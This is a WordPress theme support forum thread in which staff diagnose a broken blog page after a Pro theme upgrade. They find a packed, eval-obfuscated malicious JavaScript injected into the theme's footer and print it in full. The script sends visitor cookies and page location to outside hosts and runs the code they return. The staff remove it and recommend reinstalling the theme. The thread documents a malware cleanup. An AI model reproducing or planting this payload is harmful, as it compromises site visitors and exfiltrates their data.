Weird page behavior

[PBridgnell]

Recently updated to PRO, and my posts page looks like it’s set to a mobile layout and is not matching the rest of my site. How do I get this page to full-width? I’ve set it to container, header, no footer, but it is not changing back to normal like the other pages did that had this same issue. This particular page is a stubborn beast I can’t figure out.

https://www.rubyroadresale.com/blog/

Thanks for your help,
Pamela

[tristup]

Hi Pamela,

Thanks for reaching out.
I have investigated the page URL and found that the max-width of the body is set to 700px using some custom CSS code. I would suggest you remove the code to get rid of this problem.

Hope it helps.
Thanks

[PBridgnell]

Thanks. Can you tell me where I might find this setting?

[ruenel]

Hello @PBridgnell,

When I checked your site, I am seeing this:

This is because there is an error 500 in your site. Please enable the WordPress debug mode. You might be able to see an error message on the site right away. If not, the error log could reveal where the problem is originating.

• If you’re using a child theme, try switching to the parent theme to see if that makes a difference. The conflict could be in your customizations.

• Test for a plugin conflict by disabling all third party plugins except the Cornerstone plugin if you use X. IF the problem is fixed, activate the plugins one by one to find the plugin responsible for the problem.
• Make sure that you use PHP version 5.6.x or 7.1.x or 7.2.x. Contact your hosting service provider to make sure that you do not have an old version of the PHP.
• Make sure that you increase the PHP memory limit to at least 512M. Follow the steps mentioned here for more information.

If nothing is helping, we would love to check your site further. You can create a secure note in your next reply with the following info:
– Link to your site
– WP login URL
– WP username
– WP password
– WP Administrator Role
- Confirmation that we can access and make changes to your site
​

To know how to create a secure note, please check this out: How The Forum Works

Best Regards.

[PBridgnell]

Here is the result of the debugging:

[17-Jun-2022 14:42:38 UTC] PHP Parse error: syntax error, unexpected ‘<’, expecting end of file in /var/www/wp-content/themes/pro/footer.php on line 85
[17-Jun-2022 14:42:41 UTC] PHP Parse error: syntax error, unexpected ‘<’, expecting end of file in /var/www/wp-content/themes/pro/footer.php on line 85
[17-Jun-2022 14:50:46 UTC] PHP Parse error: syntax error, unexpected ‘<’, expecting end of file in /var/www/wp-content/themes/pro/footer.php on line 85
[17-Jun-2022 14:52:47 UTC] PHP Parse error: syntax error, unexpected ‘<’, expecting end of file in /var/www/wp-content/themes/pro/footer.php on line 85

[tristup]

Hi @PBridgnell,

As per the Error it seems that there might be an issue in the footer.php file of Pro. I would suggest you check that file if there is any unexpected < tag please remove and recheck if that resolves your issue. If not, please provide login credentials for your site in a secure note to examine it further, including:

– WordPress Site URL & Login URL
– WordPress Admin username/password
– FTP/CPanel credentials to access the files.

To create a secure note, click the key icon underneath any of your posts.

Thanks

[PBridgnell]

In my limited knowledge, I didn’t see anything amiss. There’s not much in the file. It should be said there was no problem in X. This appeared with the Pro upgrade. I’ve sent the secure note with the info you requested. I’d appreciate any assistance you can provide.

[ruenel]

Hello @PBridgnell,

I have investigated your issue further and it is a good thing that it created an error because I found out that this malicious JS code has been injected to your site:

<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('2 58={\'25\':[\'//83.67\',\'//68.72\',\'77://5.82.62.81\'],\'41\':\'/76.75\',\'6\':\'66\',\'61\':37};19 52(){2 3;9{3=26 48("71.60")}11(13){9{3=26 48("80.60")}11(70){3=37}}7(!3&&74 49!=\'65\'){3=26 49()}27 3};19 24(28){2 6=" "+55.6;2 39=" "+28+"=";2 36=15;2 16=0;2 23=0;7(6.14>0){16=6.47(39);7(16!=-1){16+=39.14;23=6.47(";",16);7(23==-1){23=6.14}36=79(6.78(16,23))}}27(36)};19 22(28,54,30,33,35,43){55.6=28+"="+73(54)+((30)?"; 30="+30:"")+((33)?"; 33="+33:"")+((35)?"; 35="+35:"")+((43)?"; 43":"")};(19(8){2 20=24(8[\'6\']);7(20==15)20=0;2 32=24(8[\'6\']+\'69\');7(32==15)32=\'[]\';2 29=24(8[\'6\']+\'46\');7(29==15)29=\'[]\';2 40=\'84=\'+20.57()+\'&98=\'+38(51.102.103)+\'&104=\'+38(32)+\'&105=\'+38(29);2 21=0;2 53=8[\'25\'][21]+8[\'41\'];2 3=52();3.59(\'64\',53,42);3.107("101-108","109/110-111-112-113");3.114=19(){7(3.106==4){7(3.100!=85){++21;7(21>=8[\'25\'].14)27;99=42;3.59(\'64\',8[\'25\'][21]+8[\'41\'],42);3.50(40)}97{9{7(3.63.14==0)27;2 18=45.56(3.63);2 34=\'\';2 17=0;2 44=37;9{34=18[\'96\']}11(13){}9{17=18[\'95\']}11(13){}9{44=(18[\'94\']==1)}11(13){}8[\'61\']=44;7(34.14>0){2 12=26 93();12.92(12.91()+1);7(17>0){22(8[\'6\']+\'90\',17.57(),12.31())}9{22(8[\'6\']+\'89\',18[\'88\'],12.31())}11(13){}7(20==0){22(8[\'6\'],\'1\',12.31())}2 10=15;9{10=45.56(24(8[\'6\']+\'46\'))}11(13){}7(10==15)10=[];7(10.47(17)==-1)10[10.14]=1*17;22(8[\'6\']+\'46\',45.87(10),12.31());51.86(34)}}11(13){}}}};3.50(40)})(58);',10,115,'||var|xmlhttp|||cookie|if|vAdsObj|try|vM|catch|vDate|e|length|null|offset|iT|Response|function|iStatus|iUrlInd|setCookie|end|getCookie|url|new|return|name|sMS|expires|toUTCString|sMA|path|sCode|domain|setStr|false|encodeURIComponent|search|sPayload|gate|true|secure|bM|JSON|_ms|indexOf|ActiveXObject|XMLHttpRequest|send|window|getXmlHttp|sUrl|value|document|parse|toString|vXAdsObj|open|XMLHTTP|mobile||responseText|POST|undefined|xads_platf|at|uads|_ma|E|Msxml2|shop|escape|typeof|php|g|http|substring|unescape|Microsoft|157|188|myownshop|s|200|eval|stringify|fp|_fp|_t|getFullYear|setYear|Date|m|t|c|else|u|bByIp|status|Content|location|href|ma|ms|readyState|setRequestHeader|type|application|x|www|form|urlencoded|onreadystatechange'.split('|'),0,{}))

</script>

If you are not the one who did this, please log in to your FTP and delete the Pro theme. You will need to install a fresh copy instead. Kindly check out this documentation:

• https://theme.co/docs/how-to-update#how-to-perform-a-manual-update

By the way, I also removed the JS code. The issue should be resolved now. Just to be just to be sure that other files were also not affected or had been infected, you will have to perform a manual update to overwrite the theme files.

Best Regards.

[PBridgnell]

Thank you so much!!

[marc_a]

Hey @PBridgnell,

You’re welcome! If you have any other concerns or clarifications regarding our theme features, feel free to open up a new thread.

Thank you.